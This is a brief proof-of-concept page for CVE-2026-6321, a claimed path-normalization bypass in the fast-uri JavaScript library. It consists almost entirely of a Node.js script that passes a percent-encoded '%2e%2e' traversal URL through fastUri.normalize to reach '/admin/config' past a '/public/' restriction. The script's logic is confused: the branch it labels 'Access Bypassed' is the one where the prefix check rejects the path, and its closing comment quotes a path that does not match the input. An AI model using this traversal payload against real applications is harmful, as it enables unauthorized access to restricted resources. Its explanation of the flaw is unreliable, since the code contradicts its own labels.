CVE-2026-6321 fast-uri路径规范化安全绕过漏洞

// PoC demonstration of CVE-2026-6321 // Vulnerable library: fast-uri <= 3.1.0 const fastUri = require('fast-uri'); // Scenario: Application restricts access to '/public' directory const allowedBase = 'https://example.com/public/'; // Attacker crafts a malicious URL using percent-encoded parent directory references // '%2e%2e' decodes to '..' const attackerInput = 'https://example.com/public/%2e%2e/admin/config'; console.log('Original Input: ' + attackerInput); // The application normalizes the URI to enforce the policy const normalizedPath = fastUri.normalize(attackerInput); console.log('Normalized Path: ' + normalizedPath); // Vulnerability Check: // The application checks if the normalized path starts with the allowed base. // Due to the bug, the normalized path resolves outside the allowed base. if (normalizedPath.startsWith(allowedBase)) { console.log('Access Granted: Path is within allowed directory.'); } else { console.log('Access Bypassed: Path is outside allowed directory!'); console.log('Intent: Access /admin/config via /public/%2e%2e/..'); }